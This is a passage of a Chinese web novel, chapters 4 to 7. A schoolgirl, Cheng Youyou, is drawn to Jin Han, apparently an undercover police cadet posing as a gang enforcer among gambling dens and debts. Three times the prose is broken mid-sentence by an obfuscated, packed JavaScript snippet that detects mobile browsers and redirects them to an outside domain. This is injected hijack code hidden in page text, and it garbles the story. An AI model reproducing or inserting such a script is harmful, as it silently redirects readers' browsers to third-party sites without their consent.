“......”程幼幼微微红了脸,“那麻烦你了。” “知道自己麻烦以后就少添麻烦。” “......” * 来时,夜里还有些冷。 回去的时候,程幼幼全程被靳寒背着,肌肤相贴的陌生而奇异的感觉让她身体燥热。 刚下地倏地腿软。 男人沉沉的嗓音从头顶响起,“手从我腰上拿开。” “......”幼幼连忙收回手,“不好意思。” “小小年纪就学会占人便宜?” 没被这样调侃过,幼幼瞬间脖子脸粗红,“谁、谁占你便宜?况且、况且——”怎么也讲不出下半句。 “昂,你是想说我占你便宜?”靳寒勾唇,整个人懒散又漫不经心。 “不是——” “确实。”他接话很快,淡淡地扫视她全身,“你确实没什么便宜可占的。” “......” 明明该在床上躺着睡觉,现在却出现在这个地方,旁边还有个麻烦精,他无端想找点乐子。 在这道炙热得仿佛能将人射穿的目光中,幼幼浑身不自在。 “站着不走是想邀请我去你家睡?” 四周一片漆黑,只有幽微月光勉强映着街道。 看不清她此刻红扑扑的脸蛋。 鸦雀无声的两秒后,少女一瘸一拐地走回家。 ...... 靳寒在路边站着抽了根烟。 不知从哪儿蹿出来的大黄狗隔着四五米的距离拼命朝他吠,叫声凶猛,却不敢再向前。 靳寒眯了眯眼,掏出手机瞥了眼时间,凌晨两点。 刚想将手机揣进兜里,来电铃声便响起,靳寒接起电话,“敏哥。” “阿寒,你人在哪?” “在外面,怎么了。” “去一趟档口赌场,蒋沛带着人来了,我这里事情还没摆平,你记得先别闹得太难看。” 街对面早餐店二楼,暖黄的灯光亮起。 靳寒的身影与夜色融为一体。 “好,敏哥,你在那边注意安全。” 程幼幼回到房内,呈大字型瘫倒在床上,脸埋进洗衣粉味的床单,深深舒了口气。 阁楼天花板低,摇摇欲坠的电灯泡挂在中央,不似平时纹丝不动。 投射到墙壁的光影轻轻晃动,她转头一看,原来是窗户漏缝。 她起身走到窗前,伸出手准备拉上窗户。 余光瞥到楼下的摩托车灯,定睛细看,猝不及防地与男人四目相撞。 他还没走。 幼幼心里一咯噔,飞快收回手,倒退两步。 渐入平静的心如清风过境又开始鼓动,她站在原地。 默了会儿,发动机的噪音打破静寂,一束强光没入黑夜,是他走了。 程幼幼往下看了眼,顺着光线,只瞟见一道尾影。 她赶紧关窗上床。 4. Chapter 04 “阿寒啊,现在我想见你一面都难过审讯室被保释啊,要先打电话给你大哥,再让他请你来,等足十八分二十三秒,是不是?” 蒋沛躺在太师椅上,手指有节奏地敲击玻璃桌面,嘴角刻着不明显的笑意。 胖子极有眼力见地递给靳寒一碗茶。 靳寒凑近,不卑不亢地奉上,“对不住沛哥,刚在外面有点事。” 蒋沛不屑地哼笑出声,上好的坪上炒茶置于手边却并未碰,茶香溢满室。 “沛哥,这么晚来档口是有什么事?” “怎么?没事我不能来?荣敏带着陈礼,两个人风风火火闯缅甸,把你一个人丢在榄洲,成日里看场,不是放.贷就是收保护费,我怕你一个人太无聊啊。” 阿成和阿彬暗地交换了一个眼色。 半晌,靳寒勾唇一笑,“多谢沛哥关心,无聊倒没有。” “其余人出去,阿成留下。”靳寒吩咐完,看向蒋沛,“今晚想玩多久我都奉陪。” 话音一落,周围立刻响起桌椅挪动的窸窣声,不多时,包厢内只剩三人,外加蒋沛带来的女伴。 蒋沛今年四十有余,中专念到一半就出来混,算是榄洲镇上最早一批。道上的人都十分给他面子,饶是这几年间的新兴势力荣敏也不例外,更何况,现下俩人之间还有了利益牵扯,更得谨慎小心。 直至发好牌,蒋沛仍旧一副兴致索然的模样,女伴抱着他的臂膀,不时嗔笑窃语。 靳寒明白,他这趟过来就是找事的。被荣敏抢走生意,吃了个闷声大亏,心里不爽,但又忌惮荣敏,不敢闹大只能拿他开刀。 想起电话里的嘱咐,靳寒只能顺着蒋沛。 牌过十轮,十有九输。 男人面色稍霁。 挂壁式电视机里放着狗血剧,像寡淡无味的调味剂,女人看得无聊,打了个哈欠。 靳寒看在眼里,吩咐阿成去拿遥控板,“给阿嫂调台。” 女人错愕一秒,蒋沛朝靳寒投去一抹意味深长的笑。 “听说一个月前你在三塘湾一打五,不仅有命回来而且背上只有三四刀,这么卖命,荣敏每月分给你多少?” 靳寒笑得痞气,“我还在念书,能用什么钱?” 这番耐人寻味的话被他以玩笑的口吻不动声色地驳回。 听到“念书”,蒋沛的女伴震惊道:“你还是学生?” 蒋沛闻言哈哈大笑。 “是啊阿嫂,我在榄洲那家职高念书,不过快毕业了。” 女人还未从震惊中平复,靳寒虽然模样年轻,可举手投足、说话做事哪有半分学生的样子。 “荣敏也真是,都出社会多少年了还这么天真,是他让你念到毕业?” 靳寒:“敏哥不仅让我念书,还希望我考大学。” 蒋沛笑起来一脸横肉,滚圆肥厚的手颤得捏不住牌,散落一地,持续不过三秒,立马敛下笑意,堪比川剧变脸。 “不到二十,能打会处事,又镇得住手下人......我该劝荣敏去庙里找个仙姑算算,他是不是命中遇贵人。” “沛哥过奖,我只是本分做事。” 蒋沛冷冷一笑,弯腰从地上捡起一张纸牌,轻飘飘地放在桌面。 “我好像又赢了,黑桃K。” * “让我们把目光转向1月18日凌晨,新年前夕,临津市海港区发生一起特大爆炸案......正在值班室的刑警靳正京及其妻子方蔷以最快速度赶到现场。” “案件初步定性为一起报复社会的恐怖袭击,相关负责人及刑侦人员赶到现场成立专案组......” “在解救疏散现场人员时,隐藏暗处的犯罪嫌疑人突然窜出,手持自制土枪朝身穿警服的刑警靳正京连开数枪,方蔷见状扑向靳正京,不幸胸口中弹身亡。靳正京方蔷夫妇被公安部追授‘全国公安系统二级英雄模范’称号,次年五月被民政部批准为革命烈士......” “靳寒,拿着花去跟爸爸妈妈说说话。” “我把你在警校的档案封存了,从今往后只有我知道你的身份。” “你叫什么名字,为什么来榄洲,家里都有谁,之前是做什么的?” ...... 角南区这片贫民窟到了晚上异常热闹,什么牛鬼蛇神都比不上人可怕。 窗户未关严,说话声棍棒敲打声沿着缝隙溜进室内。 夜里似乎还飘着雨。 靳寒翻过身,丝丝雨滴拍打在他的额角处,凉意让他猛地惊醒。 坐在床上,他捂着胸口,大口大口地喘气,待心跳频率稍慢些,转过身去够床头柜上的水。 两年间,数不清是第几回做这种梦。 额头和脖颈密密麻麻布满汗渍,他灌了几大口水,喉口溢出一声舒畅叹息。 挂壁时钟走到凌晨五点半。 靳寒打开手机数据,各种消息提醒声层出不绝。 班主任发了微信,让他今天必须回一趟学校。 靳寒坐在床边,就着黑暗抽了支烟,接着从抽屉拿出一部小灵通。 按下拨号键,铃声响了快一分钟才接通。 “...怎么这个时候打过来?”电话那端的男人操着浓浓的困腔。 “今晚九点,载着荣敏陈礼的船会在港口靠岸。” 邵尧稍微醒了醒神,“回来了?” “嗯。” “他们谈得进展怎样?” “还不清楚。” 电话那头沉默十几秒,接着响起一阵悉悉索索的穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150293|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣声。 “那行,你注意安全,没什么要紧事别打电话。” 言外之意是在说他这次提供的信息无关紧要。 “挂了。” 靳寒轻啧一声,“等下。” “还有什么事?” “你帮我联系下榄洲镇派出所的民警,要是有人去所里报案说丢失首饰,叫他帮忙关照下。” 一般的失窃案,找回可能性本身就小,就算报案,所里也不会重视,所以往往都不了了之。 脑海里浮现少女尚且稚嫩的脸,倔强又娇气,靳寒阖着眼,揉太阳穴。 “...什么情况?”邵尧一头雾水,“你是派去卧底的,不是攒志愿时长登好人好报头版头条的。” “帮不帮?” “......” 邵尧喉咙溢出气笑,“好好好,但我事先提醒一句啊,你别太沉迷大哥的角色啊。” 现在命令起他一套一套的。 靳寒低沉嗓音轻嗤,“挂了。” * 班主任发的微信说,学校早上有讲座,市里领导要来,到时候年级主任亲自点名,让他早上务必不能迟到,讲座结束爱干嘛干嘛。 正好他下午也有事。 靳寒吃完早饭出门。 时候尚早,他走去学校。 路上学生还不是特别多,但也有一部分人认出靳寒。 隔壁一中的学生面面相觑,恨不能退避三舍,离他要多远有多远。 这时有两个穿职高校服的男生大着胆子凑到靳寒身边,一脸巴结道:“寒哥。” “谁他妈是你哥?”靳寒没什么表情。 男生面露窘迫,步伐顿时停滞,没隔几秒便跟靳寒拉开了距离。 走到分叉路口等红路灯时,一辆载着人的自行车以极快速度驰来,又在斑马线前停住。 后座上的少女惊慌未定,抱怨道:“能不能开慢点?” 程信朋:“这还快啊,慢了就等红灯了。” 靳寒站在边上,眼神懒懒散散地扫过去,刚好对上程幼幼的眼睛。 幼幼觉得自己的脸瞬间滚烫了。 怎么会在这里碰到他。 要不要...打招呼啊...... 心跳不知不觉加快,看见靳寒,她的脑袋里闪过许多画面。 面对这个不知道名字的人,为什么会这样紧张。 下意识撇过发红的脸,十指紧紧抓住程信朋的衣角。 看见这幕,靳寒眉梢一挑。 正在幼幼纠结要不要扭头,用眼神打个招呼时,旁边仿佛一阵风掠过,伴随着淡淡的烟草味。 她错愕地朝前看,红灯变绿,而靳寒已经走了。 方向貌似是...隔壁的职高。 5. Chapter 05 早读临近前,幼幼还撑着脑袋心不在焉地想,怎么会碰到他呢。 难不成那人也是来上学的? 不可能。 她几乎瞬间就否定了这个猜想。 那人怎么看都不像是学生,而且两手空空,没背书包也没穿校服。 “幼幼。”丁钰湘刚坐下,便激动道:“今天有人看见隔壁职高的那个靳寒来上学了,就我跟你说过的那个。” “......?” 程幼幼定定地看着她,几秒后,点了个头。 “你忘啦?” “没有。” 丁钰湘边拿出早读课本边悄声八卦:“他们说他很少来学校,一个月能有...诶不对不对,搞错重点了。” “重点是什么你知道吗?”她压低嗓音,一脸神秘。 幼幼屏息凝神,看着丁钰湘的脸逐渐逼近。 “是什么——” “他本人巨巨巨帅!据说身高一米八五以上,反正很帅很帅!” “......” 应该没那么巧吧。 幼幼咽了咽口水。 “所以,钰湘,你看到他本人了吗?” “没啦,我都是听人说的。” 看她一脸兴奋,就跟亲眼见到了似的,幼幼一时忍俊不禁。 “好啦,第一节课要听写,快背单词吧。” “啊好烦...幼幼你全记住了吗?” * 晚上放学,程幼幼和程信朋去了学校后门的小吃街。 这个时候,小吃街被围得水泄不通。 看着一家家摊位前排着的长龙,幼幼心里打起退堂鼓,却又拗不过程信朋。 “那么早回去干嘛?” 程信朋大咧咧地吃着关东煮,“妈这段时间跟个炸药桶似的,我才不想回家看她那副臭脸。” 是了,燕姨的首饰丢了,虽然他们已经相信不是自己偷的,但是在没找回之前,他们的日子都不好过。 幼幼提议报警,燕姨非但不听,还狠狠翻了个白眼。 “那帮差佬会管个鬼!” 但想起那人的话,幼幼还是偷偷去报警了。 值班民警见来报案的是个小姑娘,态度冷冷淡淡的,显然没放在心上。 讲清原由后,民警又告诉她,必须当事人才能报案。 ...之后便无可奈何。 幼幼叹了口气:“哥,如果我们十一点半还没回家,还是会被骂的。” 被骂的还是自己。 程信朋刚好在排烤鱿鱼,象征性地安抚了下幼幼:“好了好了,买完这个就回去。” 说完便转过身点单。 “哥...我——” 程幼幼被挤到队伍后面。 她还想说些什么,可话到嘴边又咽了回去。 在家里的日子如履薄冰,程幼幼也只能少在燕姨面前晃悠,多做事少说话,生怕被挑刺。 她无比期待每天上学的日子,更无比讨厌周末。 又是一周过去。 星期天晚上,程业民从菜市场买了斤前脚回家,让燕姨炖汤。 幼幼在厨房帮忙打下手。 按下电饭煲精煮键后,燕姨去前厅,找了一圈没见着程信朋。 “这死小子跑哪儿去了。” “幼幼,看见你哥了吗?”程业民问道。 幼幼擦着桌子,温声回道:“他好像一大早就出门了。” “等他回来看我不收拾他!” 燕姨脱下围裙,从口袋里掏出手机给程信朋打电话,铃声响了快一分钟,没人接。 程业民:“要不我出去找他吧。” “你哪知道他成天在哪儿玩?” 幼幼收拾好从厨房出来,跟燕姨说:“我去找哥吧。” 燕姨冷哼一声,脱下围裙搭在门口挂钩上。 “那行。”程业民点点头,“找到你哥早点回来啊。” 幼幼乖巧应声后便出门了。 七点钟的光景,天色未彻底暗下,一团火球似的夕阳滚到远处山背后。 无边际的余晖笼罩着临海公路,一盏盏路灯相继盛开。 她给程信朋打去三道电话,都没人接。 隐约记起在班里时,程信朋跟那群男生聊过的游戏厅,幼幼猜测他应该是在那里玩。 学生爱去的游戏厅,整个榄洲镇也不过一两家。 幼幼先去离学校近的那家。 来到游戏厅门口,她抬头瞥了眼招牌,接着目视前方。 大门用一块棉麻布遮住,里头传来热火朝天的游戏声和人们的谈话声。 幼幼怀着忐忑的心情走进去。 前台兑换游戏币处,胖子正吃着冰激凌看足球比赛,这会余光瞥见程幼幼,动作一怔。 “诶这这不是——” 程幼幼因这道突兀喊声愣住,转过身面朝他。 胖子瞬间从靠椅上弹起来,恍然大悟道:“还真是小阿嫂啊!” “......” 这人很眼熟。 幼幼一时不知该做出怎样的反应。 “阿嫂来玩游戏呀?”胖子十分狗腿地从柜子里拿出一箩筐币,殷勤道:“来来来,都送你玩。” “我...不是来玩游戏的。” 那糟了,不会是来找他们算账的吧。 胖子脸色一僵,也顾不得吃冰激凌了,绕过前台,站在程幼幼面前恭恭敬敬鞠了个躬。 程幼幼:“......” “阿嫂,对不起对不起对不起...上回调戏你的那俩人里没我啊,还有寒哥已经收拾过他们了,你大人不记小人过,千万别往心里去,那俩蠢.逼喝多了认错人,我替他们向你道个歉,你千万别在寒哥面前——” “寒哥...”幼幼喃喃道。 这是她第三次听见这个称呼。 是他的名字吗。 胖子心悬到嗓子眼,胆颤心惊地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150294|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着幼幼,似在等她下句话。 想起大伯燕姨还在家等着他们,程幼幼立马想起正事。 她环顾四周,嘈杂混乱的游戏大厅内,没看见程信朋。 胖子瞬间懂了,忙道:“阿嫂找谁?我帮你找?” 幼幼面露迟疑:“呃...我找一个叫程信朋的男生,请问他在这儿吗?” 胖子摸着下巴回想这个名字,几秒后道:“哦,是今天上午就过来的那个小子吧,他玩老.虎.机输了,还在我这儿赊了账。” 程幼幼心中一紧,忧心忡忡地扫视周围。 “人在后头呢,我马上把他带过来啊。”胖子说着便急冲冲走了。 程幼幼在原地焦躁不安,满脑子想的都是程信朋赊了账。 约莫两三分钟后,胖子真领着程信朋走来了。 程幼幼浑身犹如堕入冰窟。 程信朋满脸写着失意,这会看见程幼幼,不由得慌张。 “你怎么来了?” “燕姨让我来找你回家吃饭。”幼幼咬着唇,看了眼胖子,然后看向程信朋,小心翼翼问:“你,在这里赊了账?” 程信朋听她这么说,顾不得伪装了,急忙解释道: “我本来开始是赢了的,谁知道那机子是不是被动了手脚,突然有一轮输光了,我不甘心继续玩,结果一直输...但是也没多少,就一千多。” 说着说着,他慢下来,“你身上还有多少钱,帮我垫垫吧。” 程信朋去握幼幼的肩膀。 幼幼愁眉蹙额,摇摇头,“哥,我也没钱。” 胖子这人精,知道他俩是兄妹后,立马插嘴:“我靠,早说啊!不用还了不用还了,都是自家人!” 旁边有个刚来的小弟凑近劝胖子,被他吼到一旁去。 程信朋不敢置信地瞪大双眼,“什么,不用还了?” 胖子的态度发生一百八十度大转变,甚至有点卑躬屈膝的意思。 “不用不用,以后你想玩随时来玩,全场都免费,想玩多久玩多久。” 程信朋瞠目结舌,“卧槽...” 幼幼浑身僵硬,生怕他再叫自己阿嫂。 她的视线倏地跟胖子对上,后者朝她露出一抹会心微笑,还偷偷比了个“OK”。 “......” * 走出游戏厅,程信朋恢复了平日里那副顽劣意气的性子。 他脸上洋溢着得意的笑,“真他妈走运!以后可以随便玩了,肯定是今年拜财神起作用了!” 幼幼走在前面,闷声道:“哥,走快点,我出门都快两个钟了。” 前头一颗矮树,程信朋跳起来拍落一地树叶。 “对了,刚刚那胖子说什么...一家人,是什么意思啊?” 程幼幼一愣,温温吞吞道:“啊...我也不知道。” “好吧。” 程信朋没过多追究,他现在沉浸在巨大的喜悦之中,管他是什么意思。 6. Chapter 06 知道那家游戏厅能免费玩之后,程信朋隔天就翘了晚自习。 第一节下课铃响起,幼幼从书堆里抬起头,朝程信朋座位那块望去,没见着人。 不止他,幼幼发现跟程信朋玩得要好的几个男生也不在。 桌椅挪动的呲啦声响起,丁钰湘起身:“幼幼,要不要去上厕所。” “好。”幼幼缓缓收回视线,“钰湘,你看见我哥没?” “没注意诶。”丁钰湘也看过去,淡淡道:“那家伙又逃课了吗。” 程幼幼深深地叹口气,心里已经猜到七八分。 一直到晚上放学,程信朋也没出现。 收拾书包时,她在纠结是去找他还是直接回家。 丁钰湘瞥了眼程信朋的位置,抿抿唇,问道:“你哥还没回来,是不是已经回家了?” “不知道。” “那今天我们一起走吧。” “不用了。”幼幼露出一抹浅笑,“我们不顺路,你快回家吧。” “那好吧。”丁钰湘把椅子往里放,“那你早点回去哦,拜拜。” “拜拜。” 待教室的人走得差不多时,幼幼才起身,把灯关了出门。 如果她一个人回去,肯定又会被燕姨骂,到时候还得再出来一趟。 犹豫片刻,程幼幼决定还是先去游戏厅找程信朋。 游戏厅离学校很近,路程不过五分钟。 但万万没想到,她在门口碰到了靳寒。 数日不见,男人穿着短袖和灰色抽绳卫裤,半倚在一辆摩托车上抽烟。 游戏厅里投来的光线和指尖微亮的烟蒂映照着他的脸庞,比以往多了些少年气。 在看见少女后,靳寒瞳孔深邃,面无波澜,似是早就料到她会出现。 他掐断烟头,手掌扇了扇空气中的烟雾,直起散漫的身子。 幼幼脚步放得缓慢,“你...怎么会在这里?” 靳寒面露讥诮:“这游戏厅你开的?我为什么不能在这里。” “......” 胖子从屋里探出个脑袋,惊喜道:“嘿,小阿嫂!” 当着靳寒的面这么喊她,幼幼耳根一烧,尴尬地别开视线。 靳寒低声嗤笑,甩了句滚。 “好嘞!” 胖子笑容满面,又向程幼幼敬了个军礼,随后进去了。 程幼幼:“......” “你哥在半小时前回去了。” “哦。”程幼幼一愣:“...不过你是怎么知道的?” “胖子把昨天的事跟我说了。”末了,靳寒补充,“就刚才那人。” 程幼幼又干巴巴地“哦”一声。 她穿着榄洲一中的校服,扎着马尾,鬓边的碎发服贴地顺着脸颊,双手拉着书包肩带。 脸蛋很漂亮,但有种未长开的稚气,尤其那对眼睛,黑汪汪的似会说话。 看起来真的很乖那挂。 靳寒眯了眯眼,有些出神。 “那是你亲哥?” 程信朋跟自己是有血缘关系的,再加上一起长大,这么想着,她便点点头:“算是吧。” “算是?”男人扬起一抹薄凉的笑:“怎么个算是。” “我、我们是堂兄妹,但是我从小是跟着我大伯的。”程幼幼认真道:“所以也算是亲兄妹吧。” 靳寒没开腔,空气陷入两三秒的沉寂。 他忽地想起那次半夜在巷口碰见她时的情景,她整个人低迷落魄,嗓音温吞却清晰地说自己被冤枉偷拿首饰一事,突然明白了些什么。 “饿不饿?” 鬼使神差地,他居然这么问出了口,在大脑意识到之前。 程幼幼一时没反应过来,指着自己鼻子问:“你是在跟我说话吗?” 靳寒眉头微不可见一挑。 “我没在跟你说话。” 程幼幼手指一僵,尴尬了。 他阴阳怪气地拖着尾音,凉凉道:“我在跟鬼说话。” “......” * 靳寒带她去了家烧烤摊,同行的人还有胖子。 到那后才发现已经有几个人等着了。 他们起身,齐刷刷喊寒哥,又在看见程幼幼后,眼神中闪过一抹诧异,随即露出跟胖子如出一辙的神情,狗腿地喊她嫂子。 幼幼被这种阵仗弄得很不自在,手无意识地攀着靳寒的衣角,躲在他身后。 靳寒身型高大,她只到他的胸口。 视野被这么挡着,幼幼感到莫名的安全感。 感受到她的小动作,靳寒冷硬的面容不禁柔和几分,“行了,都这么爱站那就站着吃?” “坐啦死衰仔!” 胖子猛地拍旁边人的后脑勺,那人吃痛的哀嚎。 众人忙回过神坐下。 “老板!”阿成抬手,“还是老样子啊,诶等等,阿嫂你想吃什么?” 桌上就一个女的,老板自然看得出是在叫谁。 他从围裙兜里扯出一张被油糊得看不太清的菜单,用袖子擦了擦,放在幼幼面前。 “呃...我都可以。”幼幼不习惯在这么多生人前讲话,下意识看向靳寒。 靳寒仍旧一副冷冰冰的态度,可不知为什么,幼幼没那么怕他。 知道少女浑身不自在,靳寒晃了晃虎口的酒杯,微微颔首,老板会意俯身。 “每样都上点,对了,有什么饮料?” 平时他们出去吃饭都喝酒,突然多出个小姑娘,怪不习惯的。 老板用脖子搭着的毛巾擦了擦汗,回头瞅眼冰柜,“有凉茶、酸奶,可乐雪碧。” 靳寒看向幼幼。 幼幼嗫嚅道:“豆奶吧。” “好嘞!” 须臾,菜上齐后,幼幼刚抬头,便看见了之前在巷子里调戏自己的人。 那人笑着同她眼神示意,三十来度的临海小镇,幼幼只感到后背发凉,毛骨悚然。 指尖霎地一紧,骨节和面色都泛着青白。 余光瞥见少女的异样,一旁的靳寒顺着她的视线睨去,脸色瞬间一沉。 心底忽地烦躁不安。 这姑娘还真是乖得要命,难受也忍着不说。 他从骨子里变成了一个彻头彻尾的混蛋,竟然带她跟这伙人吃饭。 “你们全都出去。”靳寒放下酒杯,瞳仁漆黑,冷冷道:“自己找个地方吃。” 众人愣住,面面相觑。 哪里惹到寒哥了。 “都听不懂老子说话?”酒杯被重重磕在桌面,靳寒脸色阴沉,“都他妈滚出去。” “......” 话音刚落,众人一前一后地离开。 出去后胖子还摸不着头脑地问:“寒哥是咋了,我们没做错什么吧?” 魏家成瞥向阿彬,凉凉一笑:“他不知道,你不会也不知道吧?” 阿彬有些心虚,稍大声道:“我他妈知道什么,你属狗的乱咬人?” “长点记性,别他妈总跟发.情期的狗似的。” * 靳寒单手将豆奶瓶盖抵在桌边撬开,又插上吸管放在程幼幼手边。 半晌,幼幼双手捧过豆奶瓶,温吞道:“谢谢。” “吓到你了?”他淡声。 “还好。”幼幼看向靳寒,“...我习惯你这样了。” “习惯?”靳寒眯了眯眼,咂摸这俩字,“你统共见过我几次就习惯了。” “是没几次,但是每次印象都很深刻。” 幼幼说完,尴尬地低下了头。 什么时候,她能说出这种厚脸皮的玩笑话了。 果不其然,靳寒淡淡哂笑,问她:“你不害怕?” “......” “放了学不回家,让你跟我来吃饭就跟我来。”靳寒把玩着开瓶器,“万一我真是坏人怎么办。” 闻言,幼幼疑惑地看向靳寒,神情分明在说:就你这样的,难不成还是假的坏人。 靳寒读懂了她的表情,微翘起的嘴角逐渐敛去,“快吃吧。” “这么多菜,你把他们都叫走了,我们肯定吃不完......” 靳寒挑眉,“所以?” “太浪费了。” “又不要你给钱。” “.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150295|164841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 定定地看了她几秒,靳寒别过视线,缴械道:“吃不完打包,行不行?” 宽大的书包还在背上,靳寒抬手帮她脱下书包,挂在自己的靠椅上。 “几点之前得回去?” “十一点前吧。” 燕姨从来不会管她什么时候回家,所以只要赶在大伯下班前回去就行了。 靳寒睨一眼手机,“还有半个多小时,吃完我开车送你回去。” 幼幼闷闷地应,悄悄地看靳寒。 他几乎没怎么吃,只是一个劲地喝酒,手边已经有两个空瓶了。 幼幼忍不住问:“你怎么不吃呀?” “我没什么胃口。” “哦。” 吃着吃着,幼幼又情不自禁地偷偷瞥他。 她从未见过这么矛盾的人。 他是很坏吧,又凶,随时都冷着脸,可似乎又很好。 半晌,男人盯着屏幕,凉凉道:“要看就大胆点,偷偷摸摸的我能吃了你?” “......”幼幼连忙垂下眼皮,脸颊有点烧。 “没、没,就好奇你怎么不吃。” 等幼幼吃得差不多了,靳寒已经抽完一支烟。 他冲老板说:“剩下的打包,我待会儿来拿。” 说完,单手拎着少女的书包,淡淡道:“走了。” “嗯。”幼幼乖巧颔首,起身后理了理额前的刘海,跟在靳寒后面走出去。 门口不知什么时候停了辆摩托车,靳寒走到车旁,自然地将书包挂在后视镜上,又拿下来一个头盔。 “戴上。” 见身旁的人迟迟不动,靳寒侧身,视线淡淡地扫过她。 “不敢坐?” “不是......” 幼幼磨磨蹭蹭地走到车旁,摩托车身到自己腰部,有些高,她在思考怎么坐上去。 看她一副跃跃欲试又害怕的模样,靳寒眸中闪过一抹讥讽,玩味道:“就你这个头,刚都叫你多吃点。” 幼幼闷声辩驳:“我有一米六好不好,更何况我还在长身体……” 男人没再说什么,突然弯下腰,手臂揽住少女的腿窝和后背。 毫无预兆的肌肤相贴,幼幼浑身像过了道闪电,低声惊呼时整个人已被抱到半空中。 “那你可得,快点长大。” 还未等幼幼深究这句莫名其妙的话,她就被安稳放在了摩托后座。 男人敛着眼皮,面色冷硬地给她戴上头盔。 头盔很笨重,罩着脑袋还会漏风。顿时有种头重脚轻,随时会往后仰的感觉。 幼幼下意识用双手撑住。 “你很想摔下去?” “啊?” “待会抱紧我。”靳寒轻轻地拍了下她的脑袋,薄唇漾着微不可察的弧度。 摩托车随即启动,提速的那刻,幼幼听话地抱紧男人的腰。 夜晚街道像一条波平如镜的河流,掠过缓坡,蜿蜒在浓密的树影中。 身旁是波澜壮阔的大海,远方,地平线染上湛蓝色弧光。 四下夜深人静,她闭紧双眼,只能听见风在耳畔的呼啸声。 鼻息间萦绕着男人的烟草味,混杂着不知名洗衣粉香味包裹着她。 车子最终停在离家不远的空地。 靳寒摘下头盔,下车后照样将程幼幼抱下来。 幼幼费力地扯下头盔,递给靳寒,还未开口便被插了一嘴。 “别再说谢了。” “……” 幼幼抿着唇,下意识摸耳垂。 “去吧。” 他情绪藏得极淡,转动车头的钥匙,脚踩住踏板,准备要走。 “你…等一下。” 幼幼鼓起勇气抬头看向他,“可不可以告诉我你的名字?” 其实问出这句话前,她心中已有七八分猜想,或许是那天清晨的斑马线,或许是钰湘的八卦戏言。 闻言,男人将头盔环抱于侧腹,眯起眼瞰望远方。 他的身影在朦胧的夜色下孤寂而落寞。 “靳寒。”他转过头,低沉沙哑的嗓音道:“我叫靳寒。” 7. Chapter 07 靳寒。 半夜,程幼幼在心底默念着这个名字,翻来覆去睡不着。 ——“那个职高好多混混,以前发生过几起恶性打架斗殴事件,死过人......都上市里新闻了。里面还有个老大,叫什么靳寒的——” ——“这人据说沾点黑...总之,以后离他要多远有多远。” 没有太意外,只是积压在心底的猜想终于被证实,有点怅然若失。 所以,他真的是…黑.老大吗。 程幼幼搞不清自己对靳寒的看法了。 她总觉得他没有外面传的那么坏,可他身边的人,又真真切切地反映了他所处在一个什么样的环境之中。 就像一株开在泥潭沼泽地里的绿植,纵使周围多么阴暗潮湿,掩盖了它本身的色彩,但也能散发出生命的耀眼特质。 她并不害怕他。 幼幼清楚地明白这个事实 方才一直到她进家门,靳寒都不曾问过她叫什么名字。 或许是没必要,或许是俩人的生活成长经历隔着道难跨越的天埑,短暂地交汇后露水无痕,也就没必要认识了。 之前种种暂且不提,既然如此,那他为什么专程在游戏厅外等她? 专程等她。 幼幼立马被自己这个自恋而荒唐的想法吓了一跳。 她红着脸,抬起手背盖住自己的眉眼,小口小口地呼吸。 窗户开了条细缝,月光薄如纱翼渗透进来,洒在少女翻身后光洁白皙的腿上。 靳寒的轮廓逐渐消融于月色,连带着许多说不清道不明的情愫一起,杂糅在脑海里,令她捉摸不透。 * 隔天去学校的路上,程信朋问她昨晚去哪里了,怎么回来那么晚。 幼幼看着街景,含糊道:“就,跟钰湘在外面逛了会…” “哦。”程信朋也不是真的关心她,一副心不在焉的样子。 “昨天晚上那游戏厅的老板问我你叫什么名字。” 幼幼呆滞良久的瞳孔一动,故作镇定问,“那个老板长什么样子?” 程信朋边嚼口香糖边踩单车,看不见她的表情。 “就是那个胖子啊,妈的至少两百来斤。” “……” 不知怎的有种松了口气的感觉。 那人跟靳寒似乎走的很近,所以有可能是靳寒让他帮忙打听的吗? 幼幼伸手拍了拍发烫的脸颊,她真是越来越荒谬了。 “那胖子居然打听你?”程信朋倒吸一口凉气。 “啧啧…不会是看上你了吧?又丑又肥,你可千万离他远点啊!你要是被他泡上了我跟你断绝兄妹关系。” “……哥你说什么呢!”幼幼羞得想锤他。 “怎么,你还害羞啊?”他乐了,飞快扭头瞅她一眼。 “有男的看上你很正常啊,你都不知道刚开学那两天,班里好多男生都向我打听你,为了讨好我抢着请我上网。” 程信朋一副享受的样子,还不忘自夸:“不愧是我妹。” 幼幼自动忽略他最后那句话。 “没感觉到?” “感觉什么?” 程信朋语气难掩嫌弃,“你就是天生缺根筋,你没发现总有几个男生下课找你聊天吗,还给你塞汽水零食。” 